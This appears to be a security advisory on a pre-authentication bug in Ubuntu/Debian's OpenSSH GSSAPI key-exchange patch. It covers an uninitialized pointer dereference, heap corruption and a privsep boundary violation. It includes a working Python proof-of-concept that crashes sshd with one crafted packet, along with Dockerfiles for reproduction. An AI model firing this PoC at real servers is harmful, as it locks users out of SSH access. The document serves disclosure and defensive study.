OpenSSH GSSAPI Key Exchange Pre-Authentication Uninitialized Pointer Dereference, Heap Corruption, and Privsep Boundary Violation

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Summary

Ubuntu and Debian carry a large downstream patch (`gssapi.patch`) for OpenSSH that adds GSSAPI Key Exchange (RFC 4462) support.

The patch contains a code defect where `sshpkt_disconnect()` (a non-terminating function that queues a disconnect message and returns) is used where `ssh_packet_disconnect()` (which terminates the process) was intended. This causes the `default:` error-handling case in the GSSAPI KEX server loop to fall through into code that reads an uninitialized stack variable (`recv_tok`), sends its contents to the privileged monitor process via IPC, and then passes it to `gss_release_buffer()` which may call `free()` on a garbage pointer.

The result is:

1. Use of uninitialized stack memory in a pre-authentication code path (CWE-908)
2. Dereference of an uninitialized pointer via `memcpy()` (CWE-824) - confirmed by SIGSEGV on x86_64 (Clang -O0) and SIGABRT from heap corruption (GCC -O2 -fno-stack-protector)
3. Heap corruption via `free()` on an uninitialized pointer (CWE-761) - confirmed by SIGABRT on x86_64 (GCC `-O2 -fno-stack-protector`) where glibc detects the invalid `free()`
4. Uninitialized data sent from the unprivileged child to the root-privileged monitor via privsep IPC (privilege separation boundary violation)
5. SIGSEGV (signal 11) and SIGABRT (signal 6) on multiple builds, triggering a 90-second SSH lockout for the source IP
6. Pre-authentication crash of the sshd child process

TL;DR

- **Bug**: Non-terminating error handler (`sshpkt_disconnect`) in GSSAPI KEX server code allows fallthrough to uninitialized variable use
- **Impact**: Pre-auth uninitialized pointer dereference (CWE-824, CWE-908); confirmed heap corruption via `free()` on uninitialized pointer (SIGABRT on x86_64); privsep boundary violation (up to 127KB of heap data to root monitor via IPC); SIGSEGV (signal 11) and SIGABRT (signal 6) on x86_64 with 90-second SSH lockout; 100% reliable child process crash
- **Trigger**: Single crafted SSH packet (~300 bytes), no authentication or credentials needed
- **Potentially Affected**: Ubuntu/Debian OpenSSH servers with `GSSAPIKeyExchange yes`
- **Potential Fix**: Replace `sshpkt_disconnect()` with `ssh_packet_disconnect()` at the 3 server-side call sites in `kexgsss.c`

How GSSAPI Key Exchange Works in OpenSSH

Background

GSSAPI Key Exchange is an alternative SSH key exchange mechanism (RFC 4462) that uses Kerberos credentials instead of traditional host-key-based methods. It is useful in enterprise environments where hosts already have Kerberos keytabs and administrators want single-sign-on without managing SSH host keys separately.

The GSSAPI KEX Protocol Flow

When `GSSAPIKeyExchange yes` is configured and a connecting client proposes a `gss-*` algorithm:

1. Client and server negotiate a `gss-*` KEX algorithm during SSH_MSG_KEXINIT
2. Server enters `kexgss_server()` and calls `ssh_packet_read()` to wait for `SSH2_MSG_KEXGSS_INIT` (type 30)
3. Client and server exchange GSSAPI tokens via KEXGSS_INIT and KEXGSS_CONTINUE messages
4. Upon completion, server computes the session hash and signs it with a GSSAPI MIC
5. Both sides derive session keys

The vulnerability occurs at step 2: when the server receives any packet type other than 30 (KEXGSS_INIT) or 31 (KEXGSS_CONTINUE), the error handler fails to terminate the process.

Demonstrated Impact

Five distinct security impacts were confirmed through testing on local Docker instances on x86_64 (all from a single bug):

1. Pre-Authentication SIGSEGV (Signal 11) Crash

On multiple builds compiled from the Ubuntu OpenSSH source, the uninitialized `recv_tok` struct on the stack contains residual data from prior function calls. The uninitialized pointer is then dereferenced by `sshbuf_put_string()` inside `mm_ssh_gssapi_accept_ctx()`, causing a segmentation fault.

x86_64, Clang `-O0` (from build-matrix test on local Docker):

DIAG recv_tok: value=0xfffbe600 length=0x4 (4)

The pointer `0xfffbe600` is unmapped (near top of 32-bit address space) and the length 4 passes `sshbuf_put_string`'s 256MB size check, triggering `memcpy` from the uninitialized address. Result:

mm_reap: preauth child terminated by signal 11
srclimit_penalise: ipv4: new 127.0.0.1/32 active penalty of 90 seconds for penalty: caused crash

The crash is a memory safety violation: `sshbuf_put_string()` calls `memcpy(dst, recv_tok.value, recv_tok.length)` where both `recv_tok.value` (the source pointer) and `recv_tok.length` (the byte count) are uninitialized stack data. This is CWE-824 (Access of Uninitialized Pointer) - the program reads from a memory location selected by random stack residue.

2. 90-Second SSH Lockout

When OpenSSH detects that a child process was killed by a signal (as opposed to a clean exit), it applies a **90-second penalty** to the source IP. During this window, ALL SSH connections from that IP are dropped immediately:

=== Phase 1: Verify server is reachable ===
 OK: SSH-2.0-OpenSSH_10.0p2

=== Phase 2: Trigger pre-auth crash (single packet) ===
 Crash triggered.

=== Phase 3: Demonstrate lockout effect ===
 t+ 2s [LOCKED OUT] BLOCKED: connection refused/dropped
 t+ 10s [LOCKED OUT] BLOCKED: connection refused/dropped

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 t+ 30s  [LOCKED OUT]  BLOCKED: connection refused/dropped
 t+ 60s  [LOCKED OUT]  BLOCKED: connection refused/dropped
 t+ 80s  [LOCKED OUT]  BLOCKED: connection refused/dropped
 t+ 92s  [ACCESSIBLE]  OK: SSH-2.0-OpenSSH_10.0p2
```

A single crafted packet (~300 bytes) causes 90 seconds of complete SSH service denial for the source IP. This affects all SSH operations from that IP: interactive sessions, `scp`, `sftp`, `git` over SSH, Ansible, and any other SSH-based tool.

In environments where multiple users share a source IP (corporate NAT, VPN concentrators, jump hosts), a single trigger locks out all users behind that IP for 90 seconds.

3. Privilege Separation Boundary Violation

On the stock Ubuntu binary (openssh-server 1:10.0p1-5ubuntu5), the uninitialized `recv_tok` happens to contain values ({NULL, 0}) that allow `sshbuf_put_string` to succeed. The uninitialized data is then serialized and sent across the privilege separation boundary to the root-privileged monitor process via IPC.

Server log (stock Ubuntu binary):

```
debug2: sshpkt_disconnect: sending SSH2_MSG_DISCONNECT: Protocol error: didn't expect packet type 99 [preauth]
debug3: mm_request_send: entering, type 44 [preauth]
debug3: monitor_read: checking request 44
debug1: mm_reap: preauth child exited with status 255
srclimit_penalise: ipv4: new 172.17.0.1/32 deferred penalty of 5 seconds for penalty: failed authentication
```

Why this matters: The privilege separation boundary is the core architectural security mechanism of OpenSSH. The unprivileged child process, which is already in an error state (it called `sshpkt_disconnect` to signal a protocol error), should not be making any further IPC requests to the root-privileged monitor. Instead, it continues to execute, reads uninitialized stack data from `recv_tok`, serializes it into an IPC message, and sends it to the root monitor for processing.

On the stock build, the uninitialized data happens to be {NULL, 0}, producing a benign empty token. However, on builds where `recv_tok.value` points to readable mapped memory and `recv_tok.length` is small (see Compilation-Dependent Behavior), `sshbuf_put_string` would read `recv_tok.length` bytes from whatever address `recv_tok.value` contains - leaking the contents of the child's address space to the root monitor.

The root monitor then passes this data to `gss_accept_sec_context()`, a complex GSSAPI library function that parses the input as an ASN.1 DER-encoded GSSAPI token. Feeding

attacker-influenced uninitialized data into a complex parser running as root is a violation of the defense-in-depth principle that privsep is designed to enforce.

4. Uninitialized Pointer Dereference (CWE-824)

Building the same Ubuntu OpenSSH source with Clang at `-O0` produces a binary where the uninitialized `recv_tok` contains:

recv_tok.value = 0xfffbe600   (unmapped, near top of 32-bit address space)
recv_tok.length = 4   (small enough to pass sshbuf_put_string's 256MB size check)

When `sshbuf_put_string(m, 0xfffbe600, 4)` executes, it calls `memcpy(dst, 0xfffbe600, 4)` - a 4-byte read from unmapped address 0xfffbe600. This is a direct dereference of an uninitialized pointer:

mm_reap: preauth child terminated by signal 11
srclimit_penalise: ipv4: new 172.17.0.1/32 active penalty of 90 seconds for penalty: caused crash

This is NOT merely a DoS - it is a memory safety violation (CWE-824). The program reads memory through a pointer it never initialized. The SIGSEGV is the consequence of dereferencing an uninitialized pointer that happens to contain an unmapped address. On builds where the uninitialized pointer happens to contain a mapped address, the read succeeds and execution continues to `gss_release_buffer()`, which calls `free()` on the same uninitialized pointer (see section 5 below).

5. Confirmed Heap Corruption via `free()` on Uninitialized Pointer (x86_64)

On x86_64, building with GCC `-O2 -fno-stack-protector` produces a binary where the uninitialized `recv_tok` contains:

recv_tok.value = 0x5555556a6560   (valid heap address)
recv_tok.length = 127344   (127KB - passes sshbuf_put_string's 256MB size check)

This is the critical scenario where the bug progresses through **all three stages** of the vulnerability:

1. **Uninitialized read**: `sshbuf_put_string(m, 0x5555556a6560, 127344)` calls `memcpy(dst, 0x5555556a6560, 127344)`, reading 127KB of heap data through the uninitialized pointer. The `memcpy` succeeds because the pointer happens to reference mapped memory.
2. **Privsep boundary violation**: The 127KB of heap data is serialized into the IPC message and sent to the root-privileged monitor process.

3. **Heap corruption**: After the IPC call returns, `gss_release_buffer(&min_status, &recv_tok)` calls `free(0x5555556a6560)` on the uninitialized pointer. This is `free()` on an arbitrary heap address that was never returned by `malloc()`. glibc's allocator detects the corruption and aborts:

mm_reap: preauth child terminated by signal 6
srclimit_penalise: ipv4: new 127.0.0.1/32 active penalty of 90 seconds for penalty: caused crash

Signal 6 is SIGABRT, raised by glibc when `free()` detects an invalid heap metadata pointer. This confirms that `free()` **is** called on the uninitialized `recv_tok.value` and that the value **is** a non-NULL pointer to mapped memory. On a build where glibc's heap corruption detection is not enabled (or on a different allocator), this `free()` would silently corrupt the heap, potentially enabling further exploitation.

Compilation-Dependent Behavior

The uninitialized `recv_tok` contains different stack residue depending on compiler, optimization level, and flags. Testing the same Ubuntu OpenSSH source across 8 build configurations on x86_64 (diagnostic logging placed in the callee `mm_ssh_gssapi_accept_ctx` to avoid perturbing the caller's stack):

Build	recv_tok.value	recv_tok.length	Crash mode	Penalty
GCC `-O2 -fno-stack-protector`	**0x5555556a6560 (heap)**	**127344**	**SIGABRT signal 6 (heap corruption)**	**90 seconds**
Clang `-O0`	**0xfffbe600 (unmapped)**	**4**	**SIGSEGV signal 11**	**90 seconds**
GCC `-O1 -fno-stack-protector`	0x5555556b1e90 (heap)	0x7ffffeffeac0	fatal() (length)	5 seconds

Clang `-O1 -fno-stack-protector`	0x7fffffbe7b0 (stack)	0x55555569f7c0	fatal() (length)	5 seconds
Clang `-O2 -fno-stack-protector`	0x7fffffbe700 (stack)	0x5555555dd377	fatal() (length)	5 seconds
GCC `-O0`	0xa5567de30	0x5555556e7b00	fatal() (length)	5 seconds
GCC `-O2 -fno-inline -fno-stack-protector`	NULL (0x0)	0x5555556a5800	fatal() (length)	5 seconds
Clang `-O1 -fno-inline`	0x7fffffbe840 (stack)	0x55555568f4e0	fatal() (length)	5 seconds

Key observations:

- **Ubuntu does NOT use `-ftrivial-auto-var-init=zero`.** The stock binary's default build flags (`-O2 -fstack-protector-strong -fstack-clash-protection -flto=auto`) do not include the auto-initialization mitigation. The `{NULL, 0}` on the stock build is coincidental stack residue, not a deliberate safety measure.
- **Different compilers produce fundamentally different residue.** Clang `-O0` leaves `0xfffbe600` with length 4. GCC `-O2 -fno-stack-protector` leaves a valid heap address with length 127344. The 8-build matrix shows that `recv_tok.value` ranges from NULL to stack addresses to heap addresses to unmapped addresses.
- **Both SIGSEGV and SIGABRT confirmed.** Clang `-O0` produces SIGSEGV (signal 11). GCC `-O2 -fno-stack-protector` produces SIGABRT (signal 6) from heap corruption via `free()` on an uninitialized pointer.

- **Heap corruption confirmed on x86_64.** The GCC `-O2 -fno-stack-protector` build produces `recv_tok = {0x5555556a6560, 127344}` where the pointer is a valid heap address and the length is small enough (127KB) that `sshbuf_put_string` **succeeds** -- it copies 127KB of heap data into the IPC buffer, sending it to the root monitor. Execution then continues to `gss_release_buffer()` which calls `free(0x5555556a6560)` on the uninitialized pointer. This is `free()` on a stale/arbitrary heap address, which glibc's allocator detects as heap corruption, resulting in SIGABRT (signal 6). **This is the confirmed heap corruption scenario.**
- **The GCC `-O2 -fno-stack-protector` x86_64 result also confirms a 127KB boundary violation.** Because `sshbuf_put_string` succeeded, 127,344 bytes of the child's heap were read through the uninitialized pointer and sent to the root-privileged monitor via IPC.

Package Rebuild Risk

This unpredictability is the defining characteristic of uninitialized memory use (CWE-908) and is the primary reason this class of bug is treated as a security vulnerability rather than a simple logic error.

The same source code produces fundamentally different security impacts depending on the build environment. The 8 build configurations tested (see table above) demonstrate that the uninitialized values span the full range from benign ({NULL, 0}) to SIGSEGV-inducing ({0xfffbe600, 4}) to heap-corruption-inducing ({0x5555556a6560, 127344}). **No mitigation in the build flags controls this**: Ubuntu does not use `-ftrivial-auto-var-init=zero`, and the stock binary's benign {NULL, 0} residue is coincidental, not deliberate.

This means:

- A routine Ubuntu package rebuild with a newer GCC version, different optimization flags, or different linked library versions could shift the stack layout and change the stock build's behavior from a 5-second penalty to a 90-second lockout with SIGSEGV
- A Debian rebuild with a different GCC version could produce different residue than Ubuntu
- Backporting the OpenSSH source to a different Ubuntu release (with different compiler defaults) could change the behavior
- Enabling compiler security hardening flags (e.g., `-ftrivial-auto-var-init=zero`) would mask the bug without fixing it, creating a false sense of security

The fix is simple and definitive: replace `sshpkt_disconnect()` with `ssh_packet_disconnect()` to ensure the error handler terminates the process, and initialize `recv_tok` as defense-in-depth.

The Vulnerability

Vulnerable Code

File: `kexgsss.c` in Ubuntu's OpenSSH GSSAPI patch **Function**: `kexgss_server()` (and identically in `kexgssgex_server()`)

```
// Line 67: recv_tok declared WITHOUT initializer
gss_buffer_desc gssbuf, recv_tok, msg_tok;
gss_buffer_desc send_tok = GSS_C_EMPTY_BUFFER;  // Note: send_tok IS initialized


// Line 102-149: packet handling loop
do {
  debug("Wait SSH2_MSG_KEXGSS_INIT");
  type = ssh_packet_read(ssh);
  switch(type) {
  case SSH2_MSG_KEXGSS_INIT:
     // ... reads recv_tok from packet data (properly initialized) ...
     break;
  case SSH2_MSG_KEXGSS_CONTINUE:
     // ... reads recv_tok from packet data (properly initialized) ...
     break;
  default:
     sshpkt_disconnect(ssh,
        "Protocol error: didn't expect packet type %d",
        type);
     // BUG: sshpkt_disconnect() RETURNS here - it does NOT exit
     // No break, no return, no fatal() after it
  }


  // Line 151: reached with UNINITIALIZED recv_tok on default path
  maj_status = mm_ssh_gssapi_accept_ctx(ctxt, &recv_tok,
     &send_tok, &ret_flags);


  // Line 154: calls free() on uninitialized recv_tok.value
  gss_release_buffer(&min_status, &recv_tok);
```

Root Cause: Two Similarly-Named Functions

The OpenSSH codebase has two disconnect functions with critically different behavior:

Function	What it does	Returns?
`sshpkt_disconnect()`	Queues an SSH2_MSG_DISCONNECT packet into the output buffer	Yes - returns 0
`ssh_packet_disconnect()`	Queues the packet, flushes it, closes the connection, calls `cleanup_exit(255)`	Never - exits the process

The GSSAPI patch author used `sshpkt_disconnect()` (the packet-building helper) where they should have used `ssh_packet_disconnect()` (the process-terminating wrapper). This same error appears at all 11 call sites in `kexgssc.c` and `kexgsss.c`.

What Happens When the Bug Triggers

1. `sshpkt_disconnect()` queues a disconnect message but returns
2. Execution falls through to `mm_ssh_gssapi_accept_ctx(ctxt, &recv_tok, ...)` where `recv_tok` is uninitialized stack garbage
3. Inside `mm_ssh_gssapi_accept_ctx()` (in `monitor_wrap.c`), the function calls `sshbuf_put_string(m, in->value, in->length)` which attempts to read `recv_tok.length` bytes from the `recv_tok.value` pointer - both are uninitialized
4. **If `recv_tok.length` is small AND `recv_tok.value` is unmapped** (Clang -O0: value=0xfffbe600, length=4): `sshbuf_put_string` passes the size check and calls `memcpy(dst, recv_tok.value, recv_tok.length)`, dereferencing the uninitialized pointer. This causes **SIGSEGV (signal 11)**. OpenSSH's master process detects the signal death and applies a **90-second penalty** to the source IP
5. **If `recv_tok.length` is small AND `recv_tok.value` is mapped** (x86_64 GCC -O2 -fno-stack-protector: value=0x5555556a6560, length=127344): `sshbuf_put_string` succeeds, copying 127KB of heap data to the root monitor via IPC. Execution continues to `gss_release_buffer()` which calls `free(0x5555556a6560)` on the uninitialized pointer. This is `free()` on an arbitrary heap address, causing **SIGABRT (signal 6)** when glibc detects heap corruption. **90-second penalty**
6. **If `recv_tok.length` is too large** (GCC -O1: length=0xffffff80ffffff8): `sshbuf_put_string` rejects the absurd length and calls `fatal()`. The child exits with status 255 and a 5-second penalty

7. **If `recv_tok.value` is NULL** (stock Ubuntu binary): `sshbuf_put_string` succeeds with a zero-length token, the data is sent to the root-privileged monitor via the privsep IPC pipe, and the GSSAPI library in the monitor processes the garbage input. The child then hits `fatal("Zero length token output when incomplete")` and exits with status 255 with a 5-second penalty

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Reproduction

Everything below is fully self-contained. No external repos, no `COPY`, no special dependencies. Two reproduction paths are provided:

1. **SIGSEGV + 90-second lockout** (source build with Clang -O0) -- demonstrates signal 11, 90-second SSH lockout, and uninitialized pointer dereference
2. **Stock binary** (apt install openssh-server) -- demonstrates privsep boundary violation and crash on the unmodified Ubuntu package

Both use the same PoC script.

Prerequisites

Step 1: Save the PoC Script

Save the following as `poc.py`. It uses only Python 3 standard library:

```
#!/usr/bin/env python3
"""
OpenSSH GSSAPI KEX Pre-Auth Uninitialized Pointer Dereference PoC


Demonstrates CWE-908/CWE-824: sending an unexpected SSH packet type
during GSSAPI Key Exchange triggers a non-terminating error handler
(sshpkt_disconnect instead of ssh_packet_disconnect), allowing execution
to fall through into code that reads an uninitialized stack variable
(recv_tok), sends it across the privsep IPC boundary, and passes it
to gss_release_buffer() which may call free() on the uninitialized pointer.


Requirements:
 - Target must be Ubuntu/Debian OpenSSH with GSSAPIKeyExchange yes
 - No authentication or Kerberos setup needed
 - Only standard library (no pip packages)
```

```
Usage:
 python3 poc.py [host] [port]
"""
import socket
import struct
import os
import sys
import time


HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 2222




def ssh_string(data):
   if isinstance(data, str):
      data = data.encode()
   return struct.pack(">I", len(data)) + data




def build_ssh_packet(msg_type, payload=b""):
   data = bytes([msg_type]) + payload
   pad_len = 8 - ((5 + len(data)) % 8)
   if pad_len < 4:
      pad_len += 8
   packet = struct.pack(">IB", 1 + len(data) + pad_len, pad_len)
   packet += data + os.urandom(pad_len)
   return packet




def recv_ssh_packet(sock, timeout=10):
   sock.settimeout(timeout)
   try:
      hdr = b""
      while len(hdr) < 4:
         chunk = sock.recv(4 - len(hdr))
         if not chunk:
```

```
            return None, None
        hdr += chunk
    pkt_len = struct.unpack(">I", hdr)[0]
    if pkt_len > 262144:
        return None, None
    body = b""
    while len(body) < pkt_len:
        chunk = sock.recv(pkt_len - len(body))
        if not chunk:
            return None, None
        body += chunk
    pad = body[0]
    payload = body[1 : pkt_len - pad]
    if not payload:
        return None, None
    return payload[0], payload[1:]
  except (socket.timeout, ConnectionError, OSError):
    return None, None




def build_kexinit(gss_algos):
  cookie = os.urandom(16)
  kex_list = ",".join(gss_algos)
  lists = [kex_list, "ssh-ed25519,rsa-sha2-256", "aes256-ctr",
           "aes256-ctr", "hmac-sha2-256", "hmac-sha2-256",
           "none", "none", "", ""]
  payload = cookie
  for lst in lists:
    payload += ssh_string(lst)
  payload += struct.pack(">?I", False, 0)
  return payload




def main():
  print(f"Target: {HOST}:{PORT}")
  print()


  # Step 1: Connect
  print("[1] Connecting...")
```

```
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
try:
    sock.connect((HOST, PORT))
except ConnectionRefusedError:
    print("  FAILED: Connection refused. Is sshd running?")
    return 1
print("  Connected.")


# Step 2: Version exchange
print("[2] SSH version exchange...")
banner = b""
while not banner.endswith(b"\n"):
    byte = sock.recv(1)
    if not byte:
        break
    banner += byte
server_version = banner.strip().decode("ascii", errors="replace")
print(f"  Server: {server_version}")
sock.sendall(b"SSH-2.0-PoC_GSSAPI_KEX_UninitPtr\r\n")
print(f"  Client: SSH-2.0-PoC_GSSAPI_KEX_UninitPtr")


# Step 3: Receive server KEXINIT
print("[3] Receiving server KEXINIT...")
msg_type, payload = recv_ssh_packet(sock)
if msg_type != 20:
    print(f"  FAILED: Expected KEXINIT (type 20), got type {msg_type}")
    sock.close()
    return 1


offset = 16  # skip cookie
str_len = struct.unpack(">I", payload[offset:offset+4])[0]
offset += 4
kex_algos = payload[offset:offset+str_len].decode("ascii", errors="replace")
gss_algos = [a for a in kex_algos.split(",") if a.startswith("gss-")]


if not gss_algos:
    print("  FAILED: Server does not offer GSSAPI KEX algorithms.")
    print("  GSSAPIKeyExchange is not enabled.")
    sock.close()
```

```
        return 1

    print(f"  Server offers {len(gss_algos)} GSSAPI KEX algorithms:")
    for algo in gss_algos:
        print(f"    - {algo}")

    # Step 4: Send client KEXINIT proposing GSSAPI KEX
    print("[4] Sending client KEXINIT proposing GSSAPI KEX...")
    sock.sendall(build_ssh_packet(20, build_kexinit(gss_algos)))
    print(f"  Proposed: {gss_algos[0]}")
    print("  Server enters kexgss_server(), waits for KEXGSS_INIT (type 30)")
    time.sleep(0.5)

    # Step 5: Send unexpected packet type to trigger the bug
    trigger_type = 99
    print(f"[5] Sending unexpected packet type {trigger_type} (triggers bug)...")
    sock.sendall(build_ssh_packet(trigger_type, b"\x00" * 16))

    # Step 6: Check result
    print("[6] Waiting for server response...")
    time.sleep(2)
    msg_type, payload = recv_ssh_packet(sock, timeout=5)
    sock.close()

    print()
    if msg_type is None:
        print("RESULT: Connection dropped - sshd child process crashed")
        return 0
    elif msg_type == 1:
        print("RESULT: Received SSH2_MSG_DISCONNECT - child still crashed after sending")
        return 0
    else:
        print(f"RESULT: Unexpected response type {msg_type}")
        return 1


if __name__ == "__main__":
```

```
    sys.exit(main())
```

Step 2: Reproduce SIGSEGV (Signal 11) + 90-Second Lockout

This builds the Ubuntu OpenSSH source with Clang `-O0`, which produces SIGSEGV on x86_64. The Dockerfile fetches the source from Ubuntu's repositories -- no external files needed.

Save as `Dockerfile.sigsegv`:

```
FROM ubuntu:25.10
ENV DEBIAN_FRONTEND=noninteractive


RUN apt-get update && apt-get install -y \
    build-essential clang libssl-dev libpam0g-dev libkrb5-dev libgssapi-krb5-2 \
    zlib1g-dev libedit-dev libfido2-dev libsystemd-dev \
    autoconf automake pkg-config openssh-client python3 procps strace dpkg-dev \
    && rm -rf /var/lib/apt/lists/*


# Fetch Ubuntu's patched OpenSSH source (all distro patches pre-applied)
RUN sed -i 's/^Types: deb$/Types: deb deb-src/' /etc/apt/sources.list.d/ubuntu.sources && \
    apt-get update && mkdir -p /build && cd /build && \
    apt-get source openssh-server && rm -rf /var/lib/apt/lists/*
RUN ln -s "$(find /build -maxdepth 1 -type d -name 'openssh-*')" /build/openssh-src
WORKDIR /build/openssh-src
RUN autoreconf -fi 2>/dev/null; true


# Build with Clang -O0 (produces SIGSEGV on x86_64)
RUN CC=clang CFLAGS="-g -O0 -fno-omit-frame-pointer -DSANDBOX_NULL" LDFLAGS="" \
    ./configure --prefix=/opt/openssh --with-pam --with-kerberos5 \
    --with-privsep-path=/var/empty --with-privsep-user=sshd \
    --with-sandbox=no --without-hardening 2>&1 | tail -3
RUN make -j$(nproc) sshd sshd-session sshd-auth ssh-keygen 2>&1 | tail -5 || \
    (make sshd && make sshd-session && make sshd-auth && make ssh-keygen)
RUN mkdir -p /opt/openssh/sbin /opt/openssh/bin /opt/openssh/libexec /opt/openssh/etc && \
    cp sshd /opt/openssh/sbin/ && cp sshd-session /opt/openssh/libexec/ && \
    cp sshd-auth /opt/openssh/libexec/ && cp ssh-keygen /opt/openssh/bin/


RUN useradd -r -d /var/empty -s /usr/sbin/nologin sshd 2>/dev/null || true && \
    mkdir -p /var/empty /run/sshd
RUN ssh-keygen -t ed25519 -f /opt/openssh/etc/ssh_host_ed25519_key -N '' && \
```

```
   ssh-keygen -t rsa -f /opt/openssh/etc/ssh_host_rsa_key -N ''
RUN printf '[libdefaults]\n    default_realm = TEST.LOCAL\n' > /etc/krb5.conf
RUN printf 'Port 22\nHostKey /opt/openssh/etc/ssh_host_ed25519_key\nHostKey
/opt/openssh/etc/ssh_host_rsa_key\nSshdSessionPath
/opt/openssh/libexec/sshd-session\nSshdAuthPath
/opt/openssh/libexec/sshd-auth\nGSSAPIKeyExchange yes\nGSSAPIAuthentication
yes\nGSSAPIStrictAcceptorCheck no\nPermitRootLogin yes\nUsePAM no\nLogLevel
DEBUG3\n' > /opt/openssh/etc/sshd_config


EXPOSE 22
CMD ["/opt/openssh/sbin/sshd", "-D", "-e", "-f", "/opt/openssh/etc/sshd_config"]
```

Build, run, trigger, and check:

```
docker build -t openssh-sigsegv -f Dockerfile.sigsegv .
docker run -d --name sigsegv-test -p 127.0.0.1:2252:22 --privileged openssh-sigsegv


./poc.py 127.0.0.1 2252


# Check for signal 11 and 90-second penalty:
docker logs sigsegv-test 2>&1 | grep -E "signal 11|signal 6|terminated
by|mm_reap|srclimit_penalise|sshpkt_disconnect"
```

Server log (x86_64, Clang -O0):

```
debug2: sshpkt_disconnect: sending SSH2_MSG_DISCONNECT: Protocol error: didn't expect
packet type 99 [preauth]
mm_reap: preauth child terminated by signal 11
srclimit_penalise: ipv4: new 172.17.0.1/32 active penalty of 90 seconds for penalty: caused
crash
```

The three log lines prove the full impact chain:

1. **`sshpkt_disconnect`** -- the non-terminating error handler was called (the root cause)
2. **`terminated by signal 11`** -- the child process crashed with SIGSEGV from the uninitialized pointer dereference (CWE-824)
3. **`active penalty of 90 seconds`** -- all SSH connections from this IP are now refused for 90 seconds

Verify the 90-second lockout:

```
# Immediately after the crash, try to connect:
```

$ ssh -o ConnectTimeout=3 -o StrictHostKeyChecking=no root@127.0.0.1 -p 2252 echo test 2>&1
Connection closed by 127.0.0.1 port 2252
docker rm -f sigsegv-test

Step 3: Reproduce Privsep Violation on Stock Ubuntu Binary

This uses the unmodified stock Ubuntu binary to show that the uninitialized data crosses the privilege separation boundary to the root monitor. This is a faster build (just `apt install openssh-server`).

Save as `Dockerfile.stock`:

FROM ubuntu:25.10
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y openssh-server && rm -rf /var/lib/apt/lists/*
RUN mkdir -p /run/sshd && ssh-keygen -A
RUN printf '[libdefaults]\n   default_realm = TEST.LOCAL\n' > /etc/krb5.conf
RUN printf '\nGSSAPIKeyExchange yes\nGSSAPIStrictAcceptorCheck no\nLogLevel DEBUG3\n' \
  >> /etc/ssh/sshd_config
EXPOSE 22
CMD ["/usr/sbin/sshd", "-D", "-e"]
docker build -t openssh-stock -f Dockerfile.stock .
docker run -d --name stock-test -p 127.0.0.1:2222:22 openssh-stock

./poc.py 127.0.0.1 2222

docker logs stock-test 2>&1 | grep -E "sshpkt_disconnect|mm_request_send.*type 44|monitor_read.*request 44|mm_reap|srclimit_penalise"

Server log (stock Ubuntu binary):

debug2: sshpkt_disconnect: sending SSH2_MSG_DISCONNECT: Protocol error: didn't expect packet type 99 [preauth]
debug3: mm_request_send: entering, type 44 [preauth]
debug3: monitor_read: checking request 44
debug1: mm_reap: preauth child exited with status 255
srclimit_penalise: ipv4: new 172.17.0.1/32 deferred penalty of 5 seconds for penalty: failed authentication

Key evidence: `mm_request_send: entering, type 44` appears **after** `sshpkt_disconnect`. Type 44 is `MONITOR_REQ_GSSSTEP` -- the child is sending the uninitialized `recv_tok` to the root-privileged monitor via IPC. The error handler failed to terminate the process, so execution fell through to the GSSAPI IPC call.

On the stock binary, the uninitialized `recv_tok` happens to be {NULL, 0}, so the child exits cleanly (status 255, 5-second penalty). The same bug on a source build with different compiler flags produces SIGSEGV (signal 11, 90-second penalty) or heap corruption (signal 6, 90-second penalty) -- see Compilation-Dependent Behavior.

docker rm -f stock-test

Intended vs. Actual Behavior

Intended (if `ssh_packet_disconnect` were used)

```
Client                          Server (kexgss_server)
  |                               |
  |-- type 99 ------------------->|
  |                               | default: case hit
  |                               | ssh_packet_disconnect() called
  |                               |   - queues disconnect message
  |                               |   - flushes output
  |                               |   - closes connection
  |                               |   - calls cleanup_exit(255)
  |<-- SSH2_MSG_DISCONNECT -------|   - PROCESS TERMINATED
  |                               |
  |  (clean disconnect, no crash, |
  |   no uninitialized memory use) |
```

Actual (with `sshpkt_disconnect`) - Stock Ubuntu Binary

Actual (with `sshpkt_disconnect`) - SIGSEGV Build (Clang -O0)

Configuration Requirements

Default Ubuntu 25.10 sshd_config

On a fresh `apt install openssh-server`, the GSSAPI-related defaults are:

#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
#GSSAPIStrictAcceptorCheck yes
#GSSAPIKeyExchange no <-- DEFAULT: DISABLED

The compiled-in defaults (from `sshd -T`):

gssapiauthentication no
gssapikeyexchange no <-- DISABLED

gssapistrictacceptorcheck yes

Configuration Needed to Expose the Bug

At minimum:

GSSAPIKeyExchange yes

Plus one of:

- A valid Kerberos host keytab at `/etc/krb5.keytab` (standard in Kerberos environments), OR
- `GSSAPIStrictAcceptorCheck no` (used when testing or when keytab management is handled differently)

And:

- `/etc/krb5.conf` must exist with a `default_realm` (standard on any Kerberos-joined host)
- `libgssapi-krb5-2` must be installed (it is pulled in automatically by `openssh-server` on Ubuntu)

Who Configures This?

System administrators in Kerberos/Active Directory environments. Common deployment guides for "SSH with Kerberos single-sign-on" instruct administrators to add `GSSAPIKeyExchange yes` to `sshd_config`. This is not an unusual or exotic configuration in enterprise environments, but it is not enabled by default.

Comparison with Similar CVEs

CVE	Year	Issue	Pre-auth	CVSS	Fixed?
This bug	2026	Uninitialized pointer deref + SIGSEGV + heap corruption + privsep violation via	Yes	8.2	Not yet

		non-terminating error handler			
CVE-2023-25136	2023	Pre-auth double-free in KEX	Yes	6.5	Yes
CVE-2024-6387	2024	Signal handler race condition (regreSSHion)	Yes	8.1	Yes
CVE-2023-48795	2023	Terrapin prefix truncation	N/A	5.9	Yes

